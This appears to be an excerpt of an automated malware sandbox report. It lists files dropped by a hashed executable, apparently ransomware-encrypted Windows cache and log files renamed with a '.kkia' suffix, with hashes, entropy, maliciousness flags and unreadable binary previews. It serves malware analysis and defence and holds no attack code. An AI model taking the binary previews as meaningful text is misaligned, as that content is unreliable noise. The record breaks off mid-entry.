Preview:	....h....]....N.1.)m......k..R..^..W<...g...C^....F....f...l.........l..?....x...e....V..'....=.Q......N.....M.o.).W[B.H..H..&V.....'s......h...5(.?Q...3:#.+.<.V_..;P...........!.....V.X6/_.O).pb.g..N.-.).H_.<....0\|..J(..8.x@...k%.....tt.:...2.4S....6......K.......\......,..I...Q:...J.......W..3.....i.<...G..Wkw.hI.Y.....@.w.6...(..0............ai.E...].}.....Me;...x..(.r.9.bV....\|.T.R..t...[.;N....x._Zo..'.o....y...<..#..N.......)..K=Yi#f...=O...7.....00..@.f..?>.Y....y.zD..e6<[v!..\|g.L...^...-@'.v\.<x.n+9.1.Z.x)..M..v~O^.X3..a......I..".C.:e%..'...I..dUQ...+.X..7j..=B.^.....F[...8...>8iEu....3u..<..5"..=.9.;.......p.F0..6Pc.>r..=.!X....U........IP..j.a.3..v.$.\|.%.%.j....V...k507...q#oD....,.U..../.X ....kD,...\|U.@.~.....8.4....K.3......U.2\|...U....\|.B.dMcC.........%. ...}.5?XW..D.w.!....A..I..~)..M..h~....n..Z...l.su./C...\|.FPx.V.<.~..J.sj..wL...&.\.n<x..a.:.n..m1...T.[z/.. ...o...EI..8P.{....m0&....x.}....9..$.C7...>s">u:3.{6

C:\Users\user\Local Settings\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000001.db.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	133230
Entropy (8bit):	7.99859727865221
Encrypted:	true
SSDEEP:	1536:N3znCmox9sSKPUKEeoDrFQaM6g5wX5afj6/a7K+QXlKubZj8Y29VAHFG3BWcIA+k:xjdMsSKma16tp//MKjgulkYMWzQ
MD5:	90F1CFC6AB42DEB70D0DD345EFCF5910
SHA1:	25152F6E7E93DAD8AA1E36C6DA2D5FA921A623E6
SHA-256:	2E617678E86B313FC56279808FE0C61C19D14DA629A107A4233D98D1955A8063
SHA-512:	071D4DABD3A5B9E14B10F21DF37442DCF661A5240E51AE417544C94A07E901911A229B427071AC9D77F4331319EAB37150F6F5F76E340694329E2EB1D1E5F7C9
Malicious:	true
Preview:	.....D..&.Hv?^.Z~..m....n...H..cxA..UG.]:..3.e.......z.4=J..()...d....[..wSB"...).....I.......a\...EC.G.#/..M.w.8a..d@.....S..L.[...S.u.uP........b.om0$..J....2....~D.[y.../.O.o....B_~.g.+A.}{^.G...0l.Ye9.....i.e.q ..=.0F?..`....(:....%....v...T.....l.! ..P...g.N.x...U.q.I....Ff.x.....g..]......i..3~....-...B{..pR..i..Jg....wI.A..^..a....J.....f.A..U.."kd../Z.k..[..by.\|@d....+:..0....H..a...<..\.m28.x3....^........0m...>.....v-..]w..>...4..%.I..-6....q.p..[.d...I.J...[..g.K...m.;...p.{.l.-.l.B.....l....=.~V..&...e.vI..z~:...)...A]?k....Ki..%.}.BZ..JZu.{e@...:."T.j..r(..+1$..........dF.dB!u..f.88}...L~X,...h....}...8.l....3...Y_..Tu....b\|..Z..P...F...PojS......&`.4G.X.UUm.d...l....XQ}JQIdP.K.R.Vx;.5..........iV...fV.H4.d......s...]~#..M....(.3K.........L. gxXg.4.-.1.....$.......Tl.p.P.{W..X.i'f1G.E..XI:+..{*......2(v1.&.....t.X.{H.Y...7.k...b.#U7...O.c^.s.N.\|...........L...)6. ....Q.N..#R..a5zZ.....).G.j..OO>..A}...E... .

C:\Users\user\Local Settings\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000002.db.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	87486
Entropy (8bit):	7.998006196100454
Encrypted:	true
SSDEEP:	1536:CHo6N+PzF1W26GxaZeIoOE89CL26pm0+q2QMj0fR244kx/RN0AqGVgu/Y7bIT8s:CHolR9oMOEYe24m0p2d0fAMxj0viY7bY
MD5:	F5A5E883D3140C1BCD69FE89920C5417
SHA1:	0418E32FDC7DDA535E033F7DC8BA65A416BB3CD2
SHA-256:	12B3F234A1C737BA84FE984E04DFA32F8F2DB8B4A005DF525978E7AF92F097D0
SHA-512:	2CE78A06E2BCEE08F317E84CEBFA918EC54B09AB0EFAD66AF22359E14CBA0EBD41405619F09DDA80FCDB815243B52FEA7C64996CDB7136EA3A954254E6200123
Malicious:	true
Preview:	...... j..M.H.mm....C.6!`......}{J......5....sm.r.5....`.&.W..L{.......X..[+.#.....<.S.<..e.....8.,..;U...K.&...F.g....E...n..P>_<\..s!.g,N.dZnx../y.C:<..%......g..o!.......:.'JK.B.X`.f.\|u..mWT.3.Bh;qx.m..o.. ..}y.#C}.P...../rM.T./.)......j...R/.f....4.E........#...nL=P...X.&>`......sI...Z.i$(..au.@..<5l8<.!. ......{....i.F..w.......!.....`....w.\.<I......4>.........<Q...7z.....Xb..d.EC+......'......\.s..Dt..........#..H...Y.)...8J....P5.^8.U.^..v.....B.4.g......R.l...4......;......Y2r..;.ji.)C`...0V.1..J%.......v3s......7.r......'..=M.l..}.K].....&H.....u.;.V..TyL..-Xc<..:.<.?....u.K&..q.'.?.<.vG[. .{........G.o\|.......x..>........A.p...S.....Z.m..v...$....b.w.~T.er..*6.=U....9...M..8!.Z...v...3..U(........N.AL...x..a...Z...~&.......,.R.}U..^.0.j{.0w..BB..k+...41!;t.J..?a..e..g@....O.......I.$..4mi......(...9...IB..#.k.p.B4.`p,]..jgtkd..@".......!c..g....m#...~..!N.v...V1..d.:@..-3..Af@-k.g3..Y{OD.8. D.C...D. .-..C...w..S......s}..%..f...b...-..

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\ExplorerStartupLog.etl.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	532814
Entropy (8bit):	5.902922469979926
Encrypted:	false
SSDEEP:	6144:f4fWAr2n/z8Tsr8+Tb5al7rx5N9cOk3jJ7SxPOloijo5LDNpIpMXwqxoE+z3e:Pr8TsZTbsl31aOk16fhXx
MD5:	E4719F7665D429096FB28B8F70DBE994
SHA1:	5BA6FBBF31A82014BF30C1EBCF80B41D5FCA30C8
SHA-256:	BA4EB1E17D7E073A69FBE3F4A7B3E8F90A835DACD65D00FED89E9A7DB3AE8F97
SHA-512:	04F33A80A3B90721B61E6C71932C3AC30566A2BFA1B6164885D9B4DB1593CBA2D831FBE651226ED92963E6C51DB1AB3E43CBDBAE8D4C6E8A1E87455404544762
Malicious:	false
Preview:	. ...., 5...0...c.@.a...8h.......7.....B..H..j...?.c...K,.Y..Do..B...isR......)......{.+\|0.(o%.K...t.P....}...3IYA#.Kr....@.V.Z\.sa.^.I.{...n...".x....g..._.....&.z.K6L-5.....lk3..4o@c..d...'.Ua..I..$T...=O...I.#..,...x.1......Oy..U.=.z.e.u..qG._.x.9..]#..}.n...A..J.-.p.4a2..?..>X..]....d .Q.B..p...p9.8..t..R..8K.b.........Sv.c........g.]._....k.kx....%.\|2..V.~.%...uX.;...<.;=..^ ..5...u.M.o.f ..J.O.`.ng.uM..[I..o.7..7...u5.%.p.}..BK...$.cU..$.B/@.^U..............\...f0..M>..a.8.I.../`.Z.w+.....C...(.@.x..7.r...1..M5.l5.A.Z.nT..3.ep;j.../.bm.'P.......I\|..\|U..`/UC....W@.......Q.h..$.gb}~`.a.<E".:+.:..7..Od.Wa..7b$@=X.."[(..x...).W.Z..eD7...!..`..0...[.2..[..(.u+DQ...D,c>)m.F......e....\|..2y....JC.....7h...+...(3do.!C>a..O//..:..}...ec.v....lmJqm..Z}.=.B.......u...C.>v....4..\|......7a\|.......$..m.X#.M.p..0/j<.N5.....fTB.y.t#@q..x.p..........x4....9.......kGL...~-..W[I..:...v.....B...y.'LM......'YmC3.sM>"....o..J..nW2..^..2pt...r....

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\ExplorerStartupLog_RunOnce.etl.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	24910
Entropy (8bit):	7.991651441576647
Encrypted:	true
SSDEEP:	384:PoB4NXGvLUIeBHvL+6KgSx5gHzPlDw9stWjBPwOoqbZtys4W8xh0iiLU0ya:wB4gvIIedL295gjlOdwKes45hcnya
MD5:	B01DF6DB5342FF402D992A2AFFD69B4E
SHA1:	69906F935079571AB76D773A7A5980681AE978F5
SHA-256:	DFEF6224B029CD5DEC7D6E6B5A9B6AA494D072EE1441C14D6187C0A082F9FA8C
SHA-512:	953C6B1B0C74E5A9C292D9E9968C5B650ADA05F798E9E5FA473F50AF39607821125DF18C06A15284E65CD35C049B971619F4F4BE26F01658100C1E239D759ACB
Malicious:	true
Preview:	. .....5.E. b..._.]......fRR.x.8...L.26..>.lE...r=8.Q-....(.~....b;1..x......N\|...k..l...C..Yt.r`ZV..j...k.\......K~k........P.(..q)i...`..7a....]x..4~......Z...j.f2..`.....c~..]..CC..L..E.r-9..Y.$8....og.a...q.. ..y....\|d<.~....:BWN{. .:.&..M....5.T.&....W.....o....V=rRK..#...z..AP1o+.....p.}..z....z...}{j../\6.....B.......a....r.b.lc.E......r...73..\|s......7jb..$'.!......`..H.9..0EG.2.0.6...ko@...]..u.c.<Z,.P.Ul........(....'..W..U.....nh^......l.`....#y[+...W..w(...E..a........DS._4....}..L...+aB...v/......a`.0.1..YK.~.V....MU....q.N...=...e\..4..u*q? ..`.}!..{QN).4Z.S..q...........#.."....f..C.Ea....]........0A.A ..~..>.D.......w...P.PQVv.$rGl.6....D..[W.r\..9......E z.Kb...` >g...-epZ..{_..93.t1.'.oU....E.O,...K.../#8...H.yg+..2@.z...}.........y...................(..k..U......v.......g.....H..@u;g.........fF...[5.a..vPB.....l"..M..V.....o..0}._!Ch.._.4.,...-...5..j.....8.....6.y.C.. .W....<v$`..<....-.....j_Q.Y.....y......u..9/.;.6E.F.....yP

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\iconcache_1280.db.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.285604911500068
Encrypted:	false
SSDEEP:	6:yzsNlEszK76fstHNFndXXbTmZqsFxecNVi+V9mH6Quydp7Pebugcii96Z:osNQ6fstVeM5miYuzuydp7Prgcii9a
MD5:	F76D0ACC2933543853A794C55BD909E7
SHA1:	D9E43E40300EFB8553C7B7C4A7F61824A9CAD111
SHA-256:	35FC8AE21B4305D4E77745E35C19DAA79BD91B21F31FE861DC08ADBC9A5C5C6D
SHA-512:	2572BFADB6ABD98786944BB52EA352A5BEE4CCA71DBACA966ECC8ECD6178D8919277B620007854BC58E166A755DDC96C7432F75ED1EF98ED8F7CD4225ACAA527
Malicious:	false
Preview:	CMMM \|K...a.....A..w\|..8.).....z....pi/....$.q% .J......q@.....+.........+B ...t.!!h.p.F...3..SfgwbP......6K......1..m..cN.._.l....X...Sa6..'..T...............+A0!..<.X.. v....Ig.%..*..4..9O..S.......nbKp.Z.o.d]...G..a..as..m..s....T!.{...,. .q.av.../..N.\|....a..I.8dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\iconcache_1920.db.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.211383769061667
Encrypted:	false
SSDEEP:	6:CwAA9i6zcvv7V8UeetekOwVLbIkQGmlEhIRizGTdrGm5XwkgfYBFPebugcii96Z:eA9iecvTV8zyeklLbIkQkI98m1wkvBFO
MD5:	8ECFD9D3FBEB226FAB35FFB1546AC0D6
SHA1:	2427822045831360F563CF217FCAC5C6A5AB1C12
SHA-256:	364EC2187D91A9A6CD78CCFEB0D074A1EB6AD188868E01743B952E2E46535761
SHA-512:	406CB6C97FDC500FA67FCCD0D5980A6AEF55AEE662DE5124DD422940E7D9E1B808203BB5A2404C12BEB7C51A1CF51AF745925AE708BC86B7E2F70DF2771149F8
Malicious:	false
Preview:	CMMM ..].Ek..a.]....q.8.h'..;{...a/.(....G(.k..o....h.{....1.....ez].'4..@..x'Y.$...W..!..l.~G..)....n.y.~.......]....V.8CA..T>.7...;..M...H.....m..h........%....$....D.H?.....c."!..5GB7..68x...h.....0...u7h...G.9[.6g#.=:;Y.=.9.<.d.....1.u..EsM...).*..7B.../...dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\iconcache_2560.db.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.309878531432728
Encrypted:	false
SSDEEP:	6:U3yG3E46ST6s7IF96EShtM1kedD492iJceP92F99Lfc4arFPebugcii96Z:Ui0E4D7IF96ES7MuedE2Wd92H+9JPrgX
MD5:	12C8375E508A8AA6591F8EB65FEEFA1B
SHA1:	7FF70B64B8858D6AFB8BAFD81D5570FD66AC7300
SHA-256:	EF90484546EB9883AAB3C41641354688D299196D3F1FB428172181C2680F9CB9
SHA-512:	6009DE5AFF48E64202A13D0F8C21C56EB5C3CA1CFC8D6913C8BDD04A147898E3807B19072DE3DB3D7F6EA25C2DB8E7C9C730C9A970401B9DFC69759800773EA8
Malicious:	false
Preview:	CMMM o..g.m..H.....q.....k.O...{..]\|W.4....?.......C..6?!1}>.Z=.5#...u>..w.5".ec.=lS.K.N....J$aw=..5.....c^u....\|R7X.....n@......I......b...M..V...:;pI.C..R....W.y.M..Z.A..j..g5.\|H...P.9....}..!.....c..'u..Z..........w.....Tx....f....AES........v<y....,w..7i).G$.;.dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\iconcache_768.db.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.2584833865153
Encrypted:	false
SSDEEP:	6:4BBf3BE5YtQ1rYZ1tl3Ab2HXLT/iOwfEoLcqPebugcii96Z:xGt8YZhAUufEoQqPrgcii9a
MD5:	E75667AA2B45BB206DA35BE8190D3923
SHA1:	85E74180964F52CD3A3BEC1F2283833EE3066CA0
SHA-256:	852B02C4EBDDEF081D099EA5D83E0F58EFC7B3DDC47B588C997610F9726C7021
SHA-512:	B19B4B45691C3CFA51C3D487351D1668DC83C203A44AD613553CC5F7AB47D059E3C96D525523D6D5EFEE65C6B64BB20C6965C1228C7593A1625ADBAA6E665298
Malicious:	false
Preview:	CMMM ?...b.:.>._.W..U.EO........!......N....a...x.7........r..0))..G..>.K.....H......A>9..........0..L.]%a%.%.i..t%...QKgx-@Q...[..%..vaZ...?4.g..o...-+...K..4...]F.4.DJ....v.I........=.I....]....VkA....y.j.. ....H.&Z..o.G..n.m#S....?p4..a...?...>....h.r\|..\.8..G.dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\iconcache_96.db.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.285507791878096
Encrypted:	false
SSDEEP:	6:0nJap8VteJVqLbUzc+b1mHUqMtHIuKResiteTuCiV3EAdZu0cB7Pebugcii96Z:0JeJYUzcrqpFSTMBdHcB7Prgcii9a
MD5:	70F7E0007BCAFBED40BD2D872F8C6612
SHA1:	A3E1CB00F09307EF9693F0406D94CCD319C39546
SHA-256:	CA3DDF95CC7010F35E803F2E10F873CCE6081270F4A07F532F4FE793A5BCDA0D
SHA-512:	A1DE20923E3F2EFCA4CC79EC200C34CB70098BBA752165D3CFF19FBBFA6EE175AB05FA324FE6FF1EF2F36C405B2B0F5682941DFD8FC62DF1FAB6310F1DD9C086
Malicious:	false
Preview:	CMMM K..'...=....Ks....Z....6..r.:+.H.jp.Ij...........;;F....[.E...$...Q........X(.b3.a.p#...]..]...[..C.#.!*..B..%..4.L.D..'l...Q[.....e..2V.oE......Q..I........jW......NE0..j..q[..R.U<....D-z!z..........n...:?..4.>"...e........[.'.e.x......U..&F...2....c!n.hdYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\iconcache_custom_stream.db.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.2143038292784745
Encrypted:	false
SSDEEP:	6:oV9jqQkJ0Gh0qy+bNheORNqBAJetSbOBKc7vava0I+sTQkPebugcii96Z:o7j/GSsbTJNqBAJASbOLvka9TTPrgciD
MD5:	D02F44CADEF1DA1A5E6F2E7B4B0CAD2C
SHA1:	096C0B38C7C520688A7A11EA8FB7AB7CCFCF435C
SHA-256:	464AB174997CEE3642196FA80F13AB1C8C78AFDCEF3996BD3756BE602FC07353
SHA-512:	A46D889A3756F76466655A8E25E14C513EE5A7FE2FE1581F5F46FF73691FC4E12C316EC51E6F877F767411D301D6BA91FB2BEAC783E8EAACB13D4DDE71A6E472
Malicious:	false
Preview:	CMMM .x_^.%]..FYL.$$.-..%....},E=.H.[Z1...M\.....~.)t@..2..BR\|..)....\|.D.9.}..'.......f.=..`(....3.CU.~(..^....C........=..F...4o....bh...(S......ioo.U,.L.....<....H.`V1..<...4(..(..g........?j~@NQ9-..#.nRf.3.e>.>...5.33...H..x.t..N.n..eO..F.x.....N......Aq.....+.K.edYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\iconcache_exif.db.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.190471234374453
Encrypted:	false
SSDEEP:	6:Wkq05txXILXMMgPSuafnSpBbiLFZeYEVlwyUcxJf1GmbwujwUfBSUzcux+XPebuS:fqaYLXMMabMLCYEVlXrLxbwup13OPrgX
MD5:	5E20E7E0DFF9334D37BF1805AFB00118
SHA1:	C47014B2109CD69522D85E44C192C943BBDCE6A3
SHA-256:	7F4725F881BE7392E610D77196B62BF1654AE2FA9911AF8BC119F689F66F3E32
SHA-512:	86FC923E53D55D6689EEB802B971A12596A0C1A534C1E0E7476908CFC04327F6E6E32B1739954B00617933E6771516A9955FCB51AEFA81E634CD7E0546C66CFE
Malicious:	false
Preview:	CMMM x.~.G._...VY......K..E..P..T...D..r.%.3..w.iN.M/S.Y>.y.Q..j.4#o.8..u.%j.:Bw...^..^...z.U.Y.>....i.P.2..v.02.us........9R..j.$9....DE-&......_.U....@.3.N./...g4 c....F.a...L.j..L..:1..t_..8.. ./....s.....H..x...;... .......MY{...Z...^!.,}...^f#.L...jf.R.X...XdYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\iconcache_sr.db.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.219818266292544
Encrypted:	false
SSDEEP:	6:Oa2avnuwPFiZa4BgvIc4zLkcaF+Zhaq2u9jk0oToUEGOSOZnPebugcii96Z:dvnuaQQwJzFrraO9AZET7nPrgcii9a
MD5:	9E1C2AF354774E7B5E1E31C1C27B7088
SHA1:	B3EF9D81035B9EB04A9CDD99A4C090845198879D
SHA-256:	F0F3D2C8573492AE1E124F7DE4D407D7A0A6FAC43143971B9DA66BA5611290CE
SHA-512:	0E58E30EE4738B0293971E02FDED6B9A08C9BFC5BF48F6B904AD8857F4BB639D6977754A39C60185FD29EDC160A64E869815B7739F1533D8679E8759669ADFEE
Malicious:	false
Preview:	CMMM ..[.......j\..H).6...1~.o..~..^2-..$..3..VX.4.u!.../.....S..3.c.I.....e.....P{G..Z..uMNw .D....MR.......%.......%56......S...-.6.`.\.....1....6..e..i.I.y.Lj5(.nT.R/}.h.L...9S.9f1L.....n.vax....S._......uF..E..:.s.yR.N........v..E.i.;...a.#e.$....7k..0..h..odYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\iconcache_wide.db.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.229856333452972
Encrypted:	false
SSDEEP:	6:CbfolCVhdSgmqd9QPUXfKk+6ALJsPD/4K1k1huHF7y0+b1TkZPebugcii96Z:CbvtdQjtNDK1KuHsbdePrgcii9a
MD5:	647CC712C0F2BB7775A1FDDC9F93F649
SHA1:	6673161BF945B6B4A52C8C1F31CD9B1F628584E4
SHA-256:	00D574773A23B1AFBFE46038F2EA9130FF95022B3AC076F19040B71AAB4DDE03
SHA-512:	96BE9528EB0693C101E0EA8471C7E0C6DFF23F28A99E8CFF986E348D58C72FCDBAA071707CB365CD5553C87DE3DD899133CE2A6AB7627CFA1B1F0B990DA099B3
Malicious:	false
Preview:	CMMM 5...Xo..c2na.......p.ga.....%.i@..<w.K.X.j.C'R.R...H.....=G.'i.......(..N.~.&..8h...} ..C.O.4jy.....g0..;...X.....zt.!.Ri.~\|.L.......XN8.d...t..x...8.1....j.u.zM+o........P/.e...].dS!.WUW...ySo(!o.%..Ta.......q.cI...\.Y.w.\U...-C..8.....%....".........g.O2.V...'dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\iconcache_wide_alternate.db.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.303176123945468
Encrypted:	false
SSDEEP:	6:O6/UZCd/yxb4yw9f+RRUWmhtBJUfeDTELvlrPX2SRNMPebugcii96Z:OW1/PUeWIbJUYTEgmMPrgcii9a
MD5:	91DE1E4315AFC4529550B89D923FDFDA
SHA1:	16AC34A6FBCDAAAA76D7D755D6FF63DF3B9B6C14
SHA-256:	D00A01E13387E51E4F8264CB2F24E2661B2151E8C97C19A1F984EE51D17FE22B
SHA-512:	0627AB5FF89159820AB2C26D0BAB53D56B388E124599CFCEE88EB4FFC588935E4C86CC4703B2A97B0B75D659E8CE53D58539AB0ED3A7B39722409F766CF753BB
Malicious:	false
Preview:	CMMM ...V1..J.s..e.[...n~...."^....g]..\|...I.'..4...h.d...!I.QSc......;yc..y.g..1.Jy.{u.TBG.'/.....'...8=.O.!.s6......Z..c&.l.d...Q...n5.rN.q...O.g.._......$.}.Il.WH\|jr._......&....+@MY...).Q%..+..2.(A.H...&se..@7.E.K0.Z.a.i...m.......]..QHt.Qkv..m.....K.Y.....z...dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\thumbcache_1280.db.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.359475406061653
Encrypted:	false
SSDEEP:	6:Jx/fbuRyBNJWLpHhI66bDU0WmSbq4yIH5qjrQMU7jvKCSsrgGzp2AwFPebugciik:3fbuUNWtOzI0WrJqHZwiErsFPrgcii9a
MD5:	8504F309770C503E639AB581E701B5E8
SHA1:	210A9813FDED0A5DCE6979AF811B157382E1AD13
SHA-256:	C5D30D41F762B31377B21EF88183A4D4A47E9706C339E5D1F7425D19FDD31C74
SHA-512:	1E05B8B6546B2FF0BB51343ACCF9DBB7BA5855B64FB6D7CAAC341710966A27BC82092DD10BD9806EE5B99092EC00E9D86FDDC3A42605FC028600D2C0C310D372
Malicious:	false
Preview:	CMMM ._.D.-Z..C.z...P.g#...XH=.&...o.h...B...GM.M.=.n..b>.N.V....E..$t.[.......O~Rk.... ..w.%.a.....q.%.b......i\..*+.{tn.^....j.......d".2.k..q..".Fd.A.....YQib........q....Q..../.4...%.6.?@.....p.f9O.....T..].9....M......B%..Z.......'......-.=8.....mqV.U../..dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\thumbcache_1920.db.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.297445221437294
Encrypted:	false
SSDEEP:	6:8+Q+c+uYm8FeHwIpX65QIm4OIQL+M8Gr4BvvFuO/9Om1pM+FNnsRfhEPebugciik:nZt7s6Z9tMpovdumC+FyRuPrgcii9a
MD5:	C0CC3A3A9BC22AF3E51A9500CC441FF4
SHA1:	3E614222FD2D61EB5DEACC3F148295D8F26AACC3
SHA-256:	65AD2BC5732A1C0216194DF4D3DB17D223F5C7BC9F56C7571F2C2725FB883929
SHA-512:	D68105AA1E43FFB4770CF6966ADE3EB48FD1ED7A5239BE95DCE9A99BDCC5C745CD13393ED591C953CF82CE5BA06801DEE18F697B1918C145DC729F4B9DFA130F
Malicious:	false
Preview:	CMMM .....u.j..... ..2).0.A.r.....o.aG..J..\|?.G.Ci.D......r4o}.R....d..~..J...U...z....M...........[eO.W(X)<h..}O..Q.C}.V...`.i.,....3....O8.n2.H.........H.....UhqsE.Z.....0)...P.v."e.,....,..(.....}jC...}..Om.F:...\N.0h......_,.....T.l'. h....C..q..r...^\.N..<..^dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\thumbcache_2560.db.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.306699280392433
Encrypted:	false
SSDEEP:	6:iI7BEIdh++fc2Xok1Ge8jlqzkYSLLIdbjiNbr1hsAAB/7Pebugcii96Z:Nzh++fcCokjylUkY8uehrrsD7Prgciik
MD5:	9017A195D0EAAEC4D777657BB89CBDB6
SHA1:	C098A0EBCB2E287BAFB23145425D4F216DB64440
SHA-256:	DF2B6ABF273768666537C451BC1FF074D59C94B0EFAFB1ACA09A1F6EB315ACDD
SHA-512:	0178DC89CF3F29C321F81C8388B08EB2BF3BDDBBC45D96F5BCDEB8549CF092063A129BB5F5DB9B34581DC6944784EAEE5BE39B277E3077C877535B9FDF5107C4
Malicious:	false
Preview:	CMMM gW..3(..F&)q&p,H..E..g.yu...g..A..u.I..(.\l.......@.o@n.3...n.B..UI.\|,'........x+.c.$.$.+..,..y.vS..U..S..%.g.gDD...K'.O2.h....Ja/.4.a)..t7=,..p.c../@.......F.C...r....\T...&.7.......l...}NX.9.]&.ZBW.wRP........\E.v.'}...>.*..t)z.r..@oZc...a.eI.7.....XQ"..I..... dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\thumbcache_32.db.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1048910
Entropy (8bit):	1.7689978131255404
Encrypted:	false
SSDEEP:	3072:e9zqXcmiJ3ap+Ocn7/xggpNhD/B6omvuwscGIpdfbtT2bYwE/Ch6azbv/mYw:2l2c7/PpNJSNNpdhT2zMCQaeH
MD5:	6F3A20F221B59EEF7082456470C5A3FC
SHA1:	DDE2FAEC9AB3ED45BA6B7E5FEABC5E6DE3C4FB5D
